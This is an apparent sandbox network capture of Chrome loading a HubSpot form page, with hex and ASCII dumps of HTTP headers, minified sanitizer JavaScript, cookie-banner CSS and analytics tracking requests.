2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 5b 74 2e 72 65 6d 6f 76 65 5f 63 6f 6e 74 65 6e 74 73 5b 65 5d 5d 3d 21 30 3b 65 6c 73 65 20 74 68 69 73 2e 63 6f 6e 66 69 67 2e 72 65 6d 6f 76 65 5f 61 6c 6c 5f 63 6f 6e 74 65 6e 74 73 3d 21 30 3b 74 68 69 73 2e 74 72 61 6e 73 66 6f 72 6d 65 72 73 3d 74 2e 74 72 61 6e 73 66 6f 72 6d 65 72 73 3f 74 2e 74 72 61 6e 73 66 6f 72 6d 65 72 73 3a 5b 5d 7d 6f 2e 52 45 47 45 58 5f 50 52 4f 54 4f 43 4f 4c 3d 2f 5e 28 5b 41 2d 5a 61 2d 7a 30 2d 39 5c 2b 5c 2d 5c 2e 5c 26 5c 3b 5c 2a 5c 73 5d 2a 3f 29 28 3f 3a 5c 3a 7c 26 2a 30 2a 35 38 7c 26 2a 78 30 2a 33 61 29 2f 69 3b 6f 2e 52 45 4c 41 54 49 56 45 3d 22 5f 5f 52 45 4c 41 54 49 56 45 5f 5f 22 3b 6f 2e 41 4c 4c 3d 22 5f 5f 41 4c 4c 5f 5f 22 3b 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 6e 5f 6e 6f 64 65 3d 66 Data Ascii: [t.remove_contents[e]]=!0;else this.config.remove_all_contents=!0;this.transformers=t.transformers?t.transformers:[]}o.REGEX_PROTOCOL=/^([A-Za-z0-9\+\-\.\&\;\\s]?)(?:\:\|&058\|&x03a)/i;o.RELATIVE="__RELATIVE__";o.ALL="__ALL__";o.prototype.clean_node=f
2024-12-16 17:45:29 UTC	1369	IN	Data Raw: 6f 63 6f 6c 73 5b 61 5d 5b 64 5d 29 7b 67 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 70 72 6f 74 6f 63 6f 6c 73 5b 61 5d 5b 64 5d 3b 5f 3d 28 66 3d 68 2e 76 61 6c 75 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 6d 61 74 63 68 28 6f 2e 52 45 47 45 58 5f 50 52 4f 54 4f 43 4f 4c 29 29 3f 2d 31 21 3d 6e 28 66 5b 31 5d 2c 67 29 3a 2d 31 21 3d 6e 28 6f 2e 52 45 4c 41 54 49 56 45 2c 67 29 7d 69 66 28 5f 29 7b 28 75 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 41 74 74 72 69 62 75 74 65 28 64 29 29 2e 76 61 6c 75 65 3d 68 2e 76 61 6c 75 65 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 75 29 7d 7d 7d 69 66 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 64 64 5f 61 74 74 72 69 62 75 74 65 73 5b 61 Data Ascii: ocols[a][d]){g=this.config.protocols[a][d];_=(f=h.value.toLowerCase().match(o.REGEX_PROTOCOL))?-1!=n(f[1],g):-1!=n(o.RELATIVE,g)}if(_){(u=document.createAttribute(d)).value=h.value;this.current_element.setAttributeNode(u)}}}if(this.config.add_attributes[a
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 2e 77 68 69 74 65 6c 69 73 74 5f 6e 6f 64 65 73 29 26 26 74 68 69 73 2e 77 68 69 74 65 6c 69 73 74 5f 6e 6f 64 65 73 2e 70 75 73 68 28 69 2e 77 68 69 74 65 6c 69 73 74 5f 6e 6f 64 65 73 5b 6f 5d 29 3b 72 2e 77 68 69 74 65 6c 69 73 74 3d 21 21 69 2e 77 68 69 74 65 6c 69 73 74 3b 69 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 26 26 28 72 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 3d 73 28 72 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 2c 69 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 29 29 3b 72 2e 6e 6f 64 65 3d 69 2e 6e 6f 64 65 3f 69 2e 6e 6f 64 65 3a 72 2e 6e 6f 64 65 7d 72 65 74 75 72 6e 20 72 7d 66 6f 72 28 69 3d 30 3b 69 3c 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 72 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2e 63 68 69 Data Ascii: .whitelist_nodes)&&this.whitelist_nodes.push(i.whitelist_nodes[o]);r.whitelist=!!i.whitelist;i.attr_whitelist&&(r.attr_whitelist=s(r.attr_whitelist,i.attr_whitelist));r.node=i.node?i.node:r.node}return r}for(i=0;i<e.childNodes.length;i++)r.call(this,e.chi
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 2c 32 30 30 76 68 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 78 2c 2d 35 30 25 29 2c 32 30 30 76 68 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 33 30 30 30 30 30 30 30 30 30 70 78 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 62 61 6e 6e 65 72 5f 61 6e 69 6d 61 74 69 6f 6e 20 2e 35 73 20 66 6f 72 77 61 72 64 73 7d 23 68 73 2d 62 61 6e 6e 65 72 2d 67 70 63 20 23 68 73 2d 62 61 6e 6e 65 72 2d 67 70 63 2d 69 6e 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 67 61 70 3a 31 65 6d 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 70 61 64 64 69 6e 67 2c 32 2e Data Ascii: ,200vh);-webkit-transform:translate(var(--hs-banner-translate-x,-50%),200vh) translateZ(3000000000px);animation:banner_animation .5s forwards}#hs-banner-gpc #hs-banner-gpc-inner{display:flex;gap:1em;flex-direction:column;padding:var(--hs-banner-padding,2.
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 61 74 65 2d 78 2c 2d 35 30 25 29 2c 32 30 30 76 68 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 78 2c 2d 35 30 25 29 2c 32 30 30 76 68 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 33 30 30 30 30 30 30 30 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 39 39 25 7b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 78 2c 2d 35 30 25 29 2c 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 79 2c 30 29 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 Data Ascii: ate-x,-50%),200vh);-webkit-transform:translate(var(--hs-banner-translate-x,-50%),200vh) translateZ(3000000000px);opacity:0}99%{opacity:0}to{transform:translate(var(--hs-banner-translate-x,-50%),var(--hs-banner-translate-y,0));-webkit-transform:translate(v
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 6f 70 74 2d 69 6e 2d 62 75 74 74 6f 6e 73 7b 66 6c 65 78 2d 67 72 6f 77 3a 31 7d 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 2d 62 75 74 74 6f 6e 2c 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 73 65 74 74 69 6e 67 73 2d 62 75 74 74 6f 6e 2c 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 64 65 63 6c 69 6e 65 2d 62 75 74 74 6f 6e 7b 66 6c 65 78 3a 31 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a Data Ascii: s-eu-cookie-confirmation #hs-eu-opt-in-buttons{flex-grow:1}#hs-eu-cookie-confirmation #hs-eu-confirmation-button,#hs-eu-cookie-confirmation #hs-eu-cookie-settings-button,#hs-eu-cookie-confirmation #hs-eu-decline-button{flex:1;cursor:pointer;border-radius:
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 6d 65 64 69 61 20 70 72 69 6e 74 7b 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 23 68 73 2d 6d 6f 64 61 6c 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 23 68 73 2d 6d 6f 64 61 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 31 2e 31 65 6d 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 70 61 64 64 69 6e 67 2c 32 2e 32 65 6d 29 3b 77 69 64 74 68 3a 6d 69 6e 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 77 69 64 74 68 2c 35 30 2e 33 65 6d 29 2c 31 Data Ascii: media print{#hs-banner-parent #hs-modal{display:none!important}}#hs-banner-parent #hs-modal-content{position:absolute;display:flex;flex-direction:column;gap:1.1em;padding:var(--hs-banner-modal-padding,2.2em);width:min(var(--hs-banner-modal-width,50.3em),1
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 2e 31 65 6d 7d 23 68 73 2d 6d 6f 64 61 6c 2d 63 6f 6e 74 65 6e 74 20 23 68 73 2d 63 61 74 65 67 6f 72 69 65 73 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 73 2d 63 61 74 65 67 6f 72 79 2d 72 6f 77 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 63 61 74 65 6f 67 72 79 2d 63 6f 6c 6f 72 2c 23 66 66 66 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 63 61 74 65 67 6f 72 79 2d 63 6f 72 6e 65 72 73 2c 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 63 6f 72 6e 65 72 73 2c 31 32 70 78 29 29 3b 70 61 64 64 69 6e 67 3a 32 65 6d Data Ascii: .1em}#hs-modal-content #hs-categories-container .hs-category-row{display:flex;flex-direction:column;background:var(--hs-banner-modal-cateogry-color,#fff);border-radius:var(--hs-banner-modal-category-corners,var(--hs-banner-modal-corners,12px));padding:2em

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49747	104.16.109.254	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:29 UTC	641	OUT	GET /collected-forms/v1/config/json?portalId=48192692&utk= HTTP/1.1 Host: forms.hscollectedforms.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:30 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:29 GMT Content-Type: application/json;charset=utf-8 Content-Length: 134 Connection: close vary: Accept-Encoding Cache-Control: max-age=0 x-content-type-options: nosniff x-robots-tag: none access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: * access-control-max-age: 180 x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 5255ef21-7462-4b7e-8dcd-50a75640cc46 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-xkq4z x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 5255ef21-7462-4b7e-8dcd-50a75640cc46 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=HiMBCxFZcOiJde_Wn8s7VYc1X78HU5JQs5Kji8dbtX8-1734371129-1.0.1.1-OBgyz.ut4gNalhJO1qYidFWiD7EQ1wjnroVNgkV5vw2huf7g7yI5p7heHUShoheySWTam5SFpJ4XlF0LQP7abQ; path=/; expires=Mon, 16-Dec-24 18:15:29 GMT; domain=.hscollectedforms.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f307cc9b92c80d6-EWR
2024-12-16 17:45:30 UTC	134	IN	Data Raw: 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 73 75 62 6d 69 73 73 69 6f 6e 73 41 70 69 44 6f 6d 61 69 6e 22 3a 22 66 6f 72 6d 73 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 22 2c 22 72 65 70 6f 72 74 53 63 72 61 70 65 72 54 65 73 74 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 43 61 70 74 75 72 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 6f 6b 65 6e 22 3a 31 37 34 32 30 37 34 33 33 7d Data Ascii: {"portalId":48192692,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":174207433}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49748	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:29 UTC	989	OUT	GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371126855&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:30 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:29 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307cc9b819c402-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 8 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-mmrgr x-evy-trace-virtual-host: all x-hubspot-correlation-id: 3f965829-a436-43f1-ad6e-55ad222f9095 x-request-id: 3f965829-a436-43f1-ad6e-55ad222f9095 x-robots-tag: none Set-Cookie: __cf_bm=4ihQEUKPqo_ulTxS_vGBJUaNrx0_oGNwi1HxNQc8ZIo-1734371129-1.0.1.1-FKxNazbuWkvlN_rfzqMqV5kSsqId3OXZbeUdimBI.THNWOD8b_unLTjZGtzIEg_WSpC3lKWhOBj_.Qq2TsTyoA; path=/; expires=Mon, 16-Dec-24 18:15:29 GMT; domain=.hubspot.com; HttpOnly; Secure; SameSite=None
2024-12-16 17:45:30 UTC	511	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 63 63 6c 6b 56 43 75 7a 41 25 32 46 39 53 38 72 79 50 57 68 6b 70 4a 57 79 77 6d 74 4d 34 52 4f 67 4c 6c 57 77 79 43 73 35 6c 79 70 58 59 5a 71 78 67 31 6c 73 44 65 6e 55 38 39 77 64 56 4f 62 34 7a 31 36 4b 4f 61 36 6d 30 41 55 6a 36 77 6a 25 32 46 35 34 79 50 42 39 5a 63 32 57 68 69 77 31 42 6f 78 44 68 69 53 52 73 4b 38 74 69 25 32 46 52 25 32 42 6c 5a 25 32 42 4c 32 36 31 56 79 70 53 50 4b 6d 78 41 6c 53 59 37 55 56 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cclkVCuzA%2F9S8ryPWhkpJWywmtM4ROgLlWwyCs5lypXYZqxg1lsDenU89wdVOb4z16KOa6m0AUj6wj%2F54yPB9Zc2Whiw1BoxDhiSRsK8ti%2FR%2BlZ%2BL261VypSPKmxAlSY7UVD"}],"group":"cf-nel","max_age":6048
2024-12-16 17:45:30 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49746	104.16.107.254	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:29 UTC	364	OUT	GET /collectedforms.js HTTP/1.1 Host: js.hscollectedforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:30 UTC	1355	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:30 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Mon, 09 Dec 2024 13:03:17 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: 8IiNiFnnn0n9avBP.k8Mr32sZxpD8Dx_ etag: W/"ceb8bcb73e5536d8416735a3977d227a" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 c0b0d7167cc2eb52d8d154aa7fc03a0a.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: 8sX57u4JfTrsGzB3lSwHU6fbgllUbXMDTCgr2IYm6pwXFnifpg9f8A== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=collected-forms-embed-js/static-1.1112/bundles/project.js&cfRay=8ef5439dc84805c6-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: collected-forms-embed-js/static-1.1112/bundles/project.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: MISS x-envoy-upstream-service-time: 7 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 13ad2578-347e-440b-bf50-05745e964ba6 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-mglm2 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all
2024-12-16 17:45:30 UTC	490	IN	Data Raw: 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 31 33 61 64 32 35 37 38 2d 33 34 37 65 2d 34 34 30 62 2d 62 66 35 30 2d 30 35 37 34 35 65 39 36 34 62 61 36 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 63 6f 6c 6c 65 63 74 65 64 2d 66 6f 72 6d 73 2d 65 6d 62 65 64 2d 6a 73 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 41 67 65 3a 20 35 33 36 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 32 5f 71 66 55 54 73 32 6e 5f 4c 51 4a 37 68 36 72 79 6e 55 34 63 62 55 50 76 58 6f 56 6f 62 51 34 43 72 4c 47 65 54 52 6a 49 41 2d 31 37 33 34 33 37 31 31 33 30 2d 31 2e 30 2e 31 2e 31 2d 59 6a 31 48 30 4f 74 79 42 54 4b 36 55 Data Ascii: x-request-id: 13ad2578-347e-440b-bf50-05745e964ba6cache-tag: staticjsapp-collected-forms-embed-js-web-prod,staticjsapp-prodCF-Cache-Status: HITAge: 536Set-Cookie: __cf_bm=2_qfUTs2n_LQJ7h6rynU4cbUPvXoVobQ4CrLGeTRjIA-1734371130-1.0.1.1-Yj1H0OtyBTK6U
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 70 72 6f 6a 65 63 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 2e 73 6c 69 63 65 28 38 2c 2d 31 29 7d 2c 72 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 41 72 72 61 79 22 3d 3d 65 28 74 29 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 3f 6e 75 6c 6c 21 3d 3d 74 Data Ascii: 7ff9/! For license information please see project.js.LICENSE.txt /!function(){"use strict";var t={}.toString,e=function(e){return t.call(e).slice(8,-1)},r=Array.isArray\|\|function(t){return"Array"==e(t)},n=function(t){return"object"==typeof t?null!==t
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 53 3d 7b 66 3a 68 3f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 76 28 72 29 3b 69 66 28 79 29 74 72 79 7b 72 65 74 75 72 6e 20 77 28 74 2c 65 2c 72 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 67 65 74 22 69 6e 20 72 7c 7c 22 73 65 74 22 69 6e 20 72 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 63 63 65 73 73 6f 72 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 3b 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 74 5b 65 5d 3d 72 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 28 31 26 74 29 2c 63 6f 6e 66 69 67 75 72 61 62 Data Ascii: ct.defineProperty,S={f:h?w:function(t,e,r){v(t);e=d(e,!0);v(r);if(y)try{return w(t,e,r)}catch(t){}if("get"in r\|\|"set"in r)throw TypeError("Accessors not supported");"value"in r&&(t[e]=r.value);return t}},E=function(t,e){return{enumerable:!(1&t),configurab
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 3b 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 7b 7d 29 5b 24 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 66 6f 6f 3a 31 7d 7d 3b 72 65 74 75 72 6e 20 31 21 3d 3d 65 5b 74 5d 28 42 6f 6f 6c 65 61 6e 29 2e 66 6f 6f 7d 29 29 7d 2c 56 3d 7b 7d 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 7a 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 2c 51 3d 7b 66 3a 7a 26 26 21 56 2e 63 61 6c 6c 28 7b 31 3a 32 7d 2c 31 29 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7a 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 21 21 65 26 26 65 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 3a 56 7d 2c 48 3d 22 22 2e 73 70 6c 69 74 2c 47 3d 66 28 28 66 75 6e 63 Data Ascii: n(){var e=[];(e.constructor={})[$]=function(){return{foo:1}};return 1!==e[t](Boolean).foo}))},V={}.propertyIsEnumerable,z=Object.getOwnPropertyDescriptor,Q={f:z&&!V.call({1:2},1)?function(t){var e=z(this,t);return!!e&&e.enumerable}:V},H="".split,G=f((func
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 66 6f 72 63 65 2c 68 74 2e 67 65 74 74 65 72 46 6f 72 2c 4f 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 68 74 2e 67 65 74 2c 72 3d 68 74 2e 65 6e 66 6f 72 63 65 2c 6e 3d 53 74 72 69 6e 67 28 5a 29 2e 73 70 6c 69 74 28 22 74 6f 53 74 72 69 6e 67 22 29 3b 4e 28 22 69 6e 73 70 65 63 74 53 6f 75 72 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 5a 2e 63 61 6c 6c 28 74 29 7d 29 29 3b 28 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6f 29 7b 76 61 72 20 73 3d 21 21 6f 26 26 21 21 6f 2e 75 6e 73 61 66 65 2c 61 3d 21 21 6f 26 26 21 21 6f 2e 65 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 21 21 6f 26 26 21 21 6f 2e 6e 6f 54 61 72 67 65 74 47 65 74 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: force,ht.getterFor,O((function(t){var e=ht.get,r=ht.enforce,n=String(Z).split("toString");N("inspectSource",(function(t){return Z.call(t)}));(t.exports=function(t,e,i,o){var 